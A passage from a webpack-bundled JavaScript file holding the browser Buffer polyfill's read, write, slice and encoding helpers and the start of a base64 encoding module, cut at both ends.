return arrayIndexOf(this, [ val ], byteOffset)
}
function arrayIndexOf (arr, val, byteOffset) {
var foundIndex = -1
for (var i = 0; byteOffset + i < arr.length; i++) {
if (arr[byteOffset + i] === val[foundIndex === -1 ? 0 : i - foundIndex]) {
if (foundIndex === -1) foundIndex = i
if (i - foundIndex + 1 === val.length) return byteOffset + foundIndex
} else {
foundIndex = -1
}
}
return -1
}
throw new TypeError('val must be string, number or Buffer')
}
// `get` is deprecated
Buffer.prototype.get = function get (offset) {
console.log('.get() is deprecated. Access using array indexes instead.')
return this.readUInt8(offset)
}
// `set` is deprecated
Buffer.prototype.set = function set (v, offset) {
console.log('.set() is deprecated. Access using array indexes instead.')
return this.writeUInt8(v, offset)
}
function hexWrite (buf, string, offset, length) {
offset = Number(offset) || 0
var remaining = buf.length - offset
if (!length) {
length = remaining
} else {
length = Number(length)
if (length > remaining) {
length = remaining
}
}
// must be an even number of digits
var strLen = string.length
if (strLen % 2 !== 0) throw new Error('Invalid hex string')
if (length > strLen / 2) {
length = strLen / 2
}
for (var i = 0; i < length; i++) {
var parsed = parseInt(string.substr(i * 2, 2), 16)
if (isNaN(parsed)) throw new Error('Invalid hex string')
buf[offset + i] = parsed
}
return i
}
function utf8Write (buf, string, offset, length) {
return blitBuffer(utf8ToBytes(string, buf.length - offset), buf, offset, length)
}
function asciiWrite (buf, string, offset, length) {
return blitBuffer(asciiToBytes(string), buf, offset, length)
}
function binaryWrite (buf, string, offset, length) {
return asciiWrite(buf, string, offset, length)
}
function base64Write (buf, string, offset, length) {
return blitBuffer(base64ToBytes(string), buf, offset, length)
}
function ucs2Write (buf, string, offset, length) {
return blitBuffer(utf16leToBytes(string, buf.length - offset), buf, offset, length)
}
Buffer.prototype.write = function write (string, offset, length, encoding) {
// Buffer#write(string)
if (offset === undefined) {
encoding = 'utf8'
length = this.length
offset = 0
// Buffer#write(string, encoding)
} else if (length === undefined && typeof offset === 'string') {
encoding = offset
length = this.length
offset = 0
// Buffer#write(string, offset[, length][, encoding])
} else if (isFinite(offset)) {
offset = offset | 0
if (isFinite(length)) {
length = length | 0
if (encoding === undefined) encoding = 'utf8'
} else {
encoding = length
length = undefined
}
// legacy write(string, encoding, offset, length) - remove in v0.13
} else {
var swap = encoding
encoding = offset
offset = length | 0
length = swap
}
var remaining = this.length - offset
if (length === undefined || length > remaining) length = remaining
if ((string.length > 0 && (length < 0 || offset < 0)) || offset > this.length) {
throw new RangeError('attempt to write outside buffer bounds')
}
if (!encoding) encoding = 'utf8'
var loweredCase = false
for (;;) {
switch (encoding) {
case 'hex':
return hexWrite(this, string, offset, length)
case 'utf8':
case 'utf-8':
return utf8Write(this, string, offset, length)
case 'ascii':
return asciiWrite(this, string, offset, length)
case 'binary':
return binaryWrite(this, string, offset, length)
case 'base64':
// Warning: maxLength not taken into account in base64Write
return base64Write(this, string, offset, length)
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
return ucs2Write(this, string, offset, length)
default:
if (loweredCase) throw new TypeError('Unknown encoding: ' + encoding)
encoding = ('' + encoding).toLowerCase()
loweredCase = true
}
}
}
Buffer.prototype.toJSON = function toJSON () {
return {
type: 'Buffer',
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
function base64Slice (buf, start, end) {
if (start === 0 && end === buf.length) {
return base64.fromByteArray(buf)
} else {
return base64.fromByteArray(buf.slice(start, end))
}
}
function utf8Slice (buf, start, end) {
end = Math.min(buf.length, end)
var res = []
var i = start
while (i < end) {
var firstByte = buf[i]
var codePoint = null
var bytesPerSequence = (firstByte > 0xEF) ? 4
: (firstByte > 0xDF) ? 3
: (firstByte > 0xBF) ? 2
: 1
if (i + bytesPerSequence <= end) {
var secondByte, thirdByte, fourthByte, tempCodePoint
switch (bytesPerSequence) {
case 1:
if (firstByte < 0x80) {
codePoint = firstByte
}
break
case 2:
secondByte = buf[i + 1]
if ((secondByte & 0xC0) === 0x80) {
tempCodePoint = (firstByte & 0x1F) << 0x6 | (secondByte & 0x3F)
if (tempCodePoint > 0x7F) {
codePoint = tempCodePoint
}
}
break
case 3:
secondByte = buf[i + 1]
thirdByte = buf[i + 2]
if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80) {
tempCodePoint = (firstByte & 0xF) << 0xC | (secondByte & 0x3F) << 0x6 | (thirdByte & 0x3F)
if (tempCodePoint > 0x7FF && (tempCodePoint < 0xD800 || tempCodePoint > 0xDFFF)) {
codePoint = tempCodePoint
}
}
break
case 4:
secondByte = buf[i + 1]
thirdByte = buf[i + 2]
fourthByte = buf[i + 3]
if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80 && (fourthByte & 0xC0) === 0x80) {
tempCodePoint = (firstByte & 0xF) << 0x12 | (secondByte & 0x3F) << 0xC | (thirdByte & 0x3F) << 0x6 | (fourthByte & 0x3F)
if (tempCodePoint > 0xFFFF && tempCodePoint < 0x110000) {
codePoint = tempCodePoint
}
}
}
}
if (codePoint === null) {
// we did not generate a valid codePoint so insert a
// replacement char (U+FFFD) and advance only 1 byte
codePoint = 0xFFFD
bytesPerSequence = 1
} else if (codePoint > 0xFFFF) {
// encode to utf16 (surrogate pair dance)
codePoint -= 0x10000
res.push(codePoint >>> 10 & 0x3FF | 0xD800)
codePoint = 0xDC00 | codePoint & 0x3FF
}
res.push(codePoint)
i += bytesPerSequence
}
return decodeCodePointsArray(res)
}
// Based on http://stackoverflow.com/a/22747272/680742, the browser with
// the lowest limit is Chrome, with 0x10000 args.
// We go 1 magnitude less, for safety
var MAX_ARGUMENTS_LENGTH = 0x1000
function decodeCodePointsArray (codePoints) {
var len = codePoints.length
if (len <= MAX_ARGUMENTS_LENGTH) {
return String.fromCharCode.apply(String, codePoints) // avoid extra slice()
}
// Decode in chunks to avoid "call stack size exceeded".
var res = ''
var i = 0
while (i < len) {
res += String.fromCharCode.apply(
String,
codePoints.slice(i, i += MAX_ARGUMENTS_LENGTH)
)
}
return res
}
function asciiSlice (buf, start, end) {
var ret = ''
end = Math.min(buf.length, end)
for (var i = start; i < end; i++) {
ret += String.fromCharCode(buf[i] & 0x7F)
}
return ret
}
function binarySlice (buf, start, end) {
var ret = ''
end = Math.min(buf.length, end)
for (var i = start; i < end; i++) {
ret += String.fromCharCode(buf[i])
}
return ret
}
function hexSlice (buf, start, end) {
var len = buf.length
if (!start || start < 0) start = 0
if (!end || end < 0 || end > len) end = len
var out = ''
for (var i = start; i < end; i++) {
out += toHex(buf[i])
}
return out
}
function utf16leSlice (buf, start, end) {
var bytes = buf.slice(start, end)
var res = ''
for (var i = 0; i < bytes.length; i += 2) {
res += String.fromCharCode(bytes[i] + bytes[i + 1] * 256)
}
return res
}
Buffer.prototype.slice = function slice (start, end) {
var len = this.length
start = ~~start
end = end === undefined ? len : ~~end
if (start < 0) {
start += len
if (start < 0) start = 0
} else if (start > len) {
start = len
}
if (end < 0) {
end += len
if (end < 0) end = 0
} else if (end > len) {
end = len
}
if (end < start) end = start
var newBuf
if (Buffer.TYPED_ARRAY_SUPPORT) {
newBuf = Buffer._augment(this.subarray(start, end))
} else {
var sliceLen = end - start
newBuf = new Buffer(sliceLen, undefined)
for (var i = 0; i < sliceLen; i++) {
newBuf[i] = this[i + start]
}
}
if (newBuf.length) newBuf.parent = this.parent || this
return newBuf
}
/*
* Need to make sure that buffer isn't trying to write out of bounds.
*/
function checkOffset (offset, ext, length) {
if ((offset % 1) !== 0 || offset < 0) throw new RangeError('offset is not uint')
if (offset + ext > length) throw new RangeError('Trying to access beyond buffer length')
}
Buffer.prototype.readUIntLE = function readUIntLE (offset, byteLength, noAssert) {
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) checkOffset(offset, byteLength, this.length)
var val = this[offset]
var mul = 1
var i = 0
while (++i < byteLength && (mul *= 0x100)) {
val += this[offset + i] * mul
}
return val
}
Buffer.prototype.readUIntBE = function readUIntBE (offset, byteLength, noAssert) {
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) {
checkOffset(offset, byteLength, this.length)
}
var val = this[offset + --byteLength]
var mul = 1
while (byteLength > 0 && (mul *= 0x100)) {
val += this[offset + --byteLength] * mul
}
return val
}
Buffer.prototype.readUInt8 = function readUInt8 (offset, noAssert) {
if (!noAssert) checkOffset(offset, 1, this.length)
return this[offset]
}
Buffer.prototype.readUInt16LE = function readUInt16LE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 2, this.length)
return this[offset] | (this[offset + 1] << 8)
}
Buffer.prototype.readUInt16BE = function readUInt16BE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 2, this.length)
return (this[offset] << 8) | this[offset + 1]
}
Buffer.prototype.readUInt32LE = function readUInt32LE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return ((this[offset]) |
(this[offset + 1] << 8) |
(this[offset + 2] << 16)) +
(this[offset + 3] * 0x1000000)
}
Buffer.prototype.readUInt32BE = function readUInt32BE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return (this[offset] * 0x1000000) +
((this[offset + 1] << 16) |
(this[offset + 2] << 8) |
this[offset + 3])
}
Buffer.prototype.readIntLE = function readIntLE (offset, byteLength, noAssert) {
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) checkOffset(offset, byteLength, this.length)
var val = this[offset]
var mul = 1
var i = 0
while (++i < byteLength && (mul *= 0x100)) {
val += this[offset + i] * mul
}
mul *= 0x80
if (val >= mul) val -= Math.pow(2, 8 * byteLength)
return val
}
Buffer.prototype.readIntBE = function readIntBE (offset, byteLength, noAssert) {
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) checkOffset(offset, byteLength, this.length)
var i = byteLength
var mul = 1
var val = this[offset + --i]
while (i > 0 && (mul *= 0x100)) {
val += this[offset + --i] * mul
}
mul *= 0x80
if (val >= mul) val -= Math.pow(2, 8 * byteLength)
return val
}
Buffer.prototype.readInt8 = function readInt8 (offset, noAssert) {
if (!noAssert) checkOffset(offset, 1, this.length)
if (!(this[offset] & 0x80)) return (this[offset])
return ((0xff - this[offset] + 1) * -1)
}
Buffer.prototype.readInt16LE = function readInt16LE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 2, this.length)
var val = this[offset] | (this[offset + 1] << 8)
return (val & 0x8000) ? val | 0xFFFF0000 : val
}
Buffer.prototype.readInt16BE = function readInt16BE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 2, this.length)
var val = this[offset + 1] | (this[offset] << 8)
return (val & 0x8000) ? val | 0xFFFF0000 : val
}
Buffer.prototype.readInt32LE = function readInt32LE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return (this[offset]) |
(this[offset + 1] << 8) |
(this[offset + 2] << 16) |
(this[offset + 3] << 24)
}
Buffer.prototype.readInt32BE = function readInt32BE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return (this[offset] << 24) |
(this[offset + 1] << 16) |
(this[offset + 2] << 8) |
(this[offset + 3])
}
Buffer.prototype.readFloatLE = function readFloatLE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return ieee754.read(this, offset, true, 23, 4)
}
Buffer.prototype.readFloatBE = function readFloatBE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 4, this.length)
return ieee754.read(this, offset, false, 23, 4)
}
Buffer.prototype.readDoubleLE = function readDoubleLE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 8, this.length)
return ieee754.read(this, offset, true, 52, 8)
}
Buffer.prototype.readDoubleBE = function readDoubleBE (offset, noAssert) {
if (!noAssert) checkOffset(offset, 8, this.length)
return ieee754.read(this, offset, false, 52, 8)
}
function checkInt (buf, value, offset, ext, max, min) {
if (!Buffer.isBuffer(buf)) throw new TypeError('buffer must be a Buffer instance')
if (value > max || value < min) throw new RangeError('value is out of bounds')
if (offset + ext > buf.length) throw new RangeError('index out of range')
}
Buffer.prototype.writeUIntLE = function writeUIntLE (value, offset, byteLength, noAssert) {
value = +value
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) checkInt(this, value, offset, byteLength, Math.pow(2, 8 * byteLength), 0)
var mul = 1
var i = 0
this[offset] = value & 0xFF
while (++i < byteLength && (mul *= 0x100)) {
this[offset + i] = (value / mul) & 0xFF
}
return offset + byteLength
}
Buffer.prototype.writeUIntBE = function writeUIntBE (value, offset, byteLength, noAssert) {
value = +value
offset = offset | 0
byteLength = byteLength | 0
if (!noAssert) checkInt(this, value, offset, byteLength, Math.pow(2, 8 * byteLength), 0)
var i = byteLength - 1
var mul = 1
this[offset + i] = value & 0xFF
while (--i >= 0 && (mul *= 0x100)) {
this[offset + i] = (value / mul) & 0xFF
}
return offset + byteLength
}
Buffer.prototype.writeUInt8 = function writeUInt8 (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 1, 0xff, 0)
if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
this[offset] = (value & 0xff)
return offset + 1
}
function objectWriteUInt16 (buf, value, offset, littleEndian) {
if (value < 0) value = 0xffff + value + 1
for (var i = 0, j = Math.min(buf.length - offset, 2); i < j; i++) {
buf[offset + i] = (value & (0xff << (8 * (littleEndian ? i : 1 - i)))) >>>
(littleEndian ? i : 1 - i) * 8
}
}
Buffer.prototype.writeUInt16LE = function writeUInt16LE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value & 0xff)
this[offset + 1] = (value >>> 8)
} else {
objectWriteUInt16(this, value, offset, true)
}
return offset + 2
}
Buffer.prototype.writeUInt16BE = function writeUInt16BE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value >>> 8)
this[offset + 1] = (value & 0xff)
} else {
objectWriteUInt16(this, value, offset, false)
}
return offset + 2
}
function objectWriteUInt32 (buf, value, offset, littleEndian) {
if (value < 0) value = 0xffffffff + value + 1
for (var i = 0, j = Math.min(buf.length - offset, 4); i < j; i++) {
buf[offset + i] = (value >>> (littleEndian ? i : 3 - i) * 8) & 0xff
}
}
Buffer.prototype.writeUInt32LE = function writeUInt32LE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset + 3] = (value >>> 24)
this[offset + 2] = (value >>> 16)
this[offset + 1] = (value >>> 8)
this[offset] = (value & 0xff)
} else {
objectWriteUInt32(this, value, offset, true)
}
return offset + 4
}
Buffer.prototype.writeUInt32BE = function writeUInt32BE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value >>> 24)
this[offset + 1] = (value >>> 16)
this[offset + 2] = (value >>> 8)
this[offset + 3] = (value & 0xff)
} else {
objectWriteUInt32(this, value, offset, false)
}
return offset + 4
}
Buffer.prototype.writeIntLE = function writeIntLE (value, offset, byteLength, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) {
var limit = Math.pow(2, 8 * byteLength - 1)
checkInt(this, value, offset, byteLength, limit - 1, -limit)
}
var i = 0
var mul = 1
var sub = value < 0 ? 1 : 0
this[offset] = value & 0xFF
while (++i < byteLength && (mul *= 0x100)) {
this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
}
return offset + byteLength
}
Buffer.prototype.writeIntBE = function writeIntBE (value, offset, byteLength, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) {
var limit = Math.pow(2, 8 * byteLength - 1)
checkInt(this, value, offset, byteLength, limit - 1, -limit)
}
var i = byteLength - 1
var mul = 1
var sub = value < 0 ? 1 : 0
this[offset + i] = value & 0xFF
while (--i >= 0 && (mul *= 0x100)) {
this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
}
return offset + byteLength
}
Buffer.prototype.writeInt8 = function writeInt8 (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 1, 0x7f, -0x80)
if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
if (value < 0) value = 0xff + value + 1
this[offset] = (value & 0xff)
return offset + 1
}
Buffer.prototype.writeInt16LE = function writeInt16LE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value & 0xff)
this[offset + 1] = (value >>> 8)
} else {
objectWriteUInt16(this, value, offset, true)
}
return offset + 2
}
Buffer.prototype.writeInt16BE = function writeInt16BE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value >>> 8)
this[offset + 1] = (value & 0xff)
} else {
objectWriteUInt16(this, value, offset, false)
}
return offset + 2
}
Buffer.prototype.writeInt32LE = function writeInt32LE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value & 0xff)
this[offset + 1] = (value >>> 8)
this[offset + 2] = (value >>> 16)
this[offset + 3] = (value >>> 24)
} else {
objectWriteUInt32(this, value, offset, true)
}
return offset + 4
}
Buffer.prototype.writeInt32BE = function writeInt32BE (value, offset, noAssert) {
value = +value
offset = offset | 0
if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
if (value < 0) value = 0xffffffff + value + 1
if (Buffer.TYPED_ARRAY_SUPPORT) {
this[offset] = (value >>> 24)
this[offset + 1] = (value >>> 16)
this[offset + 2] = (value >>> 8)
this[offset + 3] = (value & 0xff)
} else {
objectWriteUInt32(this, value, offset, false)
}
return offset + 4
}
function checkIEEE754 (buf, value, offset, ext, max, min) {
if (value > max || value < min) throw new RangeError('value is out of bounds')
if (offset + ext > buf.length) throw new RangeError('index out of range')
if (offset < 0) throw new RangeError('index out of range')
}
function writeFloat (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
checkIEEE754(buf, value, offset, 4, 3.4028234663852886e+38, -3.4028234663852886e+38)
}
ieee754.write(buf, value, offset, littleEndian, 23, 4)
return offset + 4
}
Buffer.prototype.writeFloatLE = function writeFloatLE (value, offset, noAssert) {
return writeFloat(this, value, offset, true, noAssert)
}
Buffer.prototype.writeFloatBE = function writeFloatBE (value, offset, noAssert) {
return writeFloat(this, value, offset, false, noAssert)
}
function writeDouble (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
checkIEEE754(buf, value, offset, 8, 1.7976931348623157E+308, -1.7976931348623157E+308)
}
ieee754.write(buf, value, offset, littleEndian, 52, 8)
return offset + 8
}
Buffer.prototype.writeDoubleLE = function writeDoubleLE (value, offset, noAssert) {
return writeDouble(this, value, offset, true, noAssert)
}
Buffer.prototype.writeDoubleBE = function writeDoubleBE (value, offset, noAssert) {
return writeDouble(this, value, offset, false, noAssert)
}
// copy(targetBuffer, targetStart=0, sourceStart=0, sourceEnd=buffer.length)
Buffer.prototype.copy = function copy (target, targetStart, start, end) {
if (!start) start = 0
if (!end && end !== 0) end = this.length
if (targetStart >= target.length) targetStart = target.length
if (!targetStart) targetStart = 0
if (end > 0 && end < start) end = start
// Copy 0 bytes; we're done
if (end === start) return 0
if (target.length === 0 || this.length === 0) return 0
// Fatal error conditions
if (targetStart < 0) {
throw new RangeError('targetStart out of bounds')
}
if (start < 0 || start >= this.length) throw new RangeError('sourceStart out of bounds')
if (end < 0) throw new RangeError('sourceEnd out of bounds')
// Are we oob?
if (end > this.length) end = this.length
if (target.length - targetStart < end - start) {
end = target.length - targetStart + start
}
var len = end - start
var i
if (this === target && start < targetStart && targetStart < end) {
// descending copy from end
for (i = len - 1; i >= 0; i--) {
target[i + targetStart] = this[i + start]
}
} else if (len < 1000 || !Buffer.TYPED_ARRAY_SUPPORT) {
// ascending copy from start
for (i = 0; i < len; i++) {
target[i + targetStart] = this[i + start]
}
} else {
target._set(this.subarray(start, start + len), targetStart)
}
return len
}
// fill(value, start=0, end=buffer.length)
Buffer.prototype.fill = function fill (value, start, end) {
if (!value) value = 0
if (!start) start = 0
if (!end) end = this.length
if (end < start) throw new RangeError('end < start')
// Fill 0 bytes; we're done
if (end === start) return
if (this.length === 0) return
if (start < 0 || start >= this.length) throw new RangeError('start out of bounds')
if (end < 0 || end > this.length) throw new RangeError('end out of bounds')
var i
if (typeof value === 'number') {
for (i = start; i < end; i++) {
this[i] = value
}
} else {
var bytes = utf8ToBytes(value.toString())
var len = bytes.length
for (i = start; i < end; i++) {
this[i] = bytes[i % len]
}
}
return this
}
/**
* Creates a new `ArrayBuffer` with the *copied* memory of the buffer instance.
* Added in Node 0.12. Only available in browsers that support ArrayBuffer.
*/
Buffer.prototype.toArrayBuffer = function toArrayBuffer () {
if (typeof Uint8Array !== 'undefined') {
if (Buffer.TYPED_ARRAY_SUPPORT) {
return (new Buffer(this)).buffer
} else {
var buf = new Uint8Array(this.length)
for (var i = 0, len = buf.length; i < len; i += 1) {
buf[i] = this[i]
}
return buf.buffer
}
} else {
throw new TypeError('Buffer.toArrayBuffer not supported in this browser')
}
}
// HELPER FUNCTIONS
// ================
var BP = Buffer.prototype
/**
* Augment a Uint8Array *instance* (not the Uint8Array class!) with Buffer methods
*/
Buffer._augment = function _augment (arr) {
arr.constructor = Buffer
arr._isBuffer = true
// save reference to original Uint8Array set method before overwriting
arr._set = arr.set
// deprecated
arr.get = BP.get
arr.set = BP.set
arr.write = BP.write
arr.toString = BP.toString
arr.toLocaleString = BP.toString
arr.toJSON = BP.toJSON
arr.equals = BP.equals
arr.compare = BP.compare
arr.indexOf = BP.indexOf
arr.copy = BP.copy
arr.slice = BP.slice
arr.readUIntLE = BP.readUIntLE
arr.readUIntBE = BP.readUIntBE
arr.readUInt8 = BP.readUInt8
arr.readUInt16LE = BP.readUInt16LE
arr.readUInt16BE = BP.readUInt16BE
arr.readUInt32LE = BP.readUInt32LE
arr.readUInt32BE = BP.readUInt32BE
arr.readIntLE = BP.readIntLE
arr.readIntBE = BP.readIntBE
arr.readInt8 = BP.readInt8
arr.readInt16LE = BP.readInt16LE
arr.readInt16BE = BP.readInt16BE
arr.readInt32LE = BP.readInt32LE
arr.readInt32BE = BP.readInt32BE
arr.readFloatLE = BP.readFloatLE
arr.readFloatBE = BP.readFloatBE
arr.readDoubleLE = BP.readDoubleLE
arr.readDoubleBE = BP.readDoubleBE
arr.writeUInt8 = BP.writeUInt8
arr.writeUIntLE = BP.writeUIntLE
arr.writeUIntBE = BP.writeUIntBE
arr.writeUInt16LE = BP.writeUInt16LE
arr.writeUInt16BE = BP.writeUInt16BE
arr.writeUInt32LE = BP.writeUInt32LE
arr.writeUInt32BE = BP.writeUInt32BE
arr.writeIntLE = BP.writeIntLE
arr.writeIntBE = BP.writeIntBE
arr.writeInt8 = BP.writeInt8
arr.writeInt16LE = BP.writeInt16LE
arr.writeInt16BE = BP.writeInt16BE
arr.writeInt32LE = BP.writeInt32LE
arr.writeInt32BE = BP.writeInt32BE
arr.writeFloatLE = BP.writeFloatLE
arr.writeFloatBE = BP.writeFloatBE
arr.writeDoubleLE = BP.writeDoubleLE
arr.writeDoubleBE = BP.writeDoubleBE
arr.fill = BP.fill
arr.inspect = BP.inspect
arr.toArrayBuffer = BP.toArrayBuffer
return arr
}
var INVALID_BASE64_RE = /[^+\/0-9A-Za-z-_]/g
function base64clean (str) {
// Node strips out invalid characters like \n and \t from the string, base64-js does not
str = stringtrim(str).replace(INVALID_BASE64_RE, '')
// Node converts strings with length < 2 to ''
if (str.length < 2) return ''
// Node allows for non-padded base64 strings (missing trailing ===), base64-js does not
while (str.length % 4 !== 0) {
str = str + '='
}
return str
}
function stringtrim (str) {
if (str.trim) return str.trim()
return str.replace(/^\s+|\s+$/g, '')
}
function toHex (n) {
if (n < 16) return '0' + n.toString(16)
return n.toString(16)
}
function utf8ToBytes (string, units) {
units = units || Infinity
var codePoint
var length = string.length
var leadSurrogate = null
var bytes = []
for (var i = 0; i < length; i++) {
codePoint = string.charCodeAt(i)
// is surrogate component
if (codePoint > 0xD7FF && codePoint < 0xE000) {
// last char was a lead
if (!leadSurrogate) {
// no lead yet
if (codePoint > 0xDBFF) {
// unexpected trail
if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
continue
} else if (i + 1 === length) {
// unpaired lead
if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
continue
}
// valid lead
leadSurrogate = codePoint
continue
}
// 2 leads in a row
if (codePoint < 0xDC00) {
if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
leadSurrogate = codePoint
continue
}
// valid surrogate pair
codePoint = (leadSurrogate - 0xD800 << 10 | codePoint - 0xDC00) + 0x10000
} else if (leadSurrogate) {
// valid bmp char, but last char was a lead
if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
}
leadSurrogate = null
// encode utf8
if (codePoint < 0x80) {
if ((units -= 1) < 0) break
bytes.push(codePoint)
} else if (codePoint < 0x800) {
if ((units -= 2) < 0) break
bytes.push(
codePoint >> 0x6 | 0xC0,
codePoint & 0x3F | 0x80
)
} else if (codePoint < 0x10000) {
if ((units -= 3) < 0) break
bytes.push(
codePoint >> 0xC | 0xE0,
codePoint >> 0x6 & 0x3F | 0x80,
codePoint & 0x3F | 0x80
)
} else if (codePoint < 0x110000) {
if ((units -= 4) < 0) break
bytes.push(
codePoint >> 0x12 | 0xF0,
codePoint >> 0xC & 0x3F | 0x80,
codePoint >> 0x6 & 0x3F | 0x80,
codePoint & 0x3F | 0x80
)
} else {
throw new Error('Invalid code point')
}
}
return bytes
}
function asciiToBytes (str) {
var byteArray = []
for (var i = 0; i < str.length; i++) {
// Node's code seems to be doing this and not & 0x7F..
byteArray.push(str.charCodeAt(i) & 0xFF)
}
return byteArray
}
function utf16leToBytes (str, units) {
var c, hi, lo
var byteArray = []
for (var i = 0; i < str.length; i++) {
if ((units -= 2) < 0) break
c = str.charCodeAt(i)
hi = c >> 8
lo = c % 256
byteArray.push(lo)
byteArray.push(hi)
}
return byteArray
}
function base64ToBytes (str) {
return base64.toByteArray(base64clean(str))
}
function blitBuffer (src, dst, offset, length) {
for (var i = 0; i < length; i++) {
if ((i + offset >= dst.length) || (i >= src.length)) break
dst[i + offset] = src[i]
}
return i
}
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer, (function() { return this; }())))
/***/ },
/* 6 */
/***/ function(module, exports, __webpack_require__) {
var lookup = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
;(function (exports) {
'use strict';
var Arr = (typeof Uint8Array !== 'undefined')
? Uint8Array
: Array
var PLUS = '+'.charCodeAt(0)
var SLASH = '/'.charCodeAt(0)
var NUMBER = '0'.charCodeAt(0)
var LOWER = 'a'.charCodeAt(0)
var UPPER = 'A'.charCodeAt(0)
var PLUS_URL_SAFE = '-'.charCodeAt(0)
var SLASH_URL_SAFE = '_'.charCodeAt(0)
function decode (elt) {
var code = elt.charCodeAt(0)
if (code === PLUS ||
code === PLUS_URL_SAFE)
return 62 // '+'
if (code === SLASH ||
code === SLASH_URL_SAFE)
return 63 // '/'
if (code < NUMBER)
return -1 //no match
if (code < NUMBER + 10)
return code - NUMBER + 26 + 26
if (code < UPPER + 26)
return code - UPPER
if (code < LOWER + 26)
return code - LOWER + 26
}
function b64ToByteArray (b64) {
var i, j, l, tmp, placeHolders, arr
if (b64.length % 4 > 0) {
throw new Error('Invalid string. Length must be a multiple of 4')
}
// the number of equal signs (place holders)
// if there are two placeholders, than the two characters before it
// represent one byte
// if there is only one, then the three characters before it represent 2 bytes
// this is just a cheap hack to not do indexOf twice
var len = b64.length
placeHolders = '=' === b64.charAt(len - 2) ? 2 : '=' === b64.charAt(len - 1) ? 1 : 0
// base64 is 4/3 + up to two characters of the original data
arr = new Arr(b64.length * 3 / 4 - placeHolders)
// if there are placeholders, only get up to the last complete 4 chars
l = placeHolders > 0 ? b64.length - 4 : b64.length
var L = 0
function push (v) {
arr[L++] = v
}
for (i = 0, j = 0; i < l; i += 4, j += 3) {
tmp = (decode(b64.charAt(i)) << 18) | (decode(b64.charAt(i + 1)) << 12) | (decode(b64.charAt(i + 2)) << 6) | decode(b64.charAt(i + 3))
push((tmp & 0xFF0000) >> 16)
push((tmp & 0xFF00) >> 8)
push(tmp & 0xFF)
}
if (placeHolders === 2) {
tmp = (decode(b64.charAt(i)) << 2) | (decode(b64.charAt(i + 1)) >> 4)
push(tmp & 0xFF)
} else if (placeHolders === 1) {
tmp = (decode(b64.charAt(i)) << 10) | (decode(b64.charAt(i + 1)) << 4) | (decode(b64.charAt(i + 2)) >> 2)
push((tmp >> 8) & 0xFF)
push(tmp & 0xFF)
}
return arr
}
function uint8ToBase64 (uint8) {
var i,
extraBytes = uint8.length % 3, // if we have 1 byte left, pad 2 bytes
output = "",
temp, length
function encode (num) {
return lookup.charAt(num)
}
function tripletToBase64 (num) {
return encode(num >> 18 & 0x3F) + encode(num >> 12 & 0x3F) + encode(num >> 6 & 0x3F) + encode(num & 0x3F)
}
// go through the array every three bytes, we'll deal with trailing stuff later
for (i = 0, length = uint8.length - extraBytes; i < length; i += 3) {
temp = (uint8[i] << 16) + (uint8[i + 1] << 8) + (uint8[i + 2])
output += tripletToBase64(temp)
}
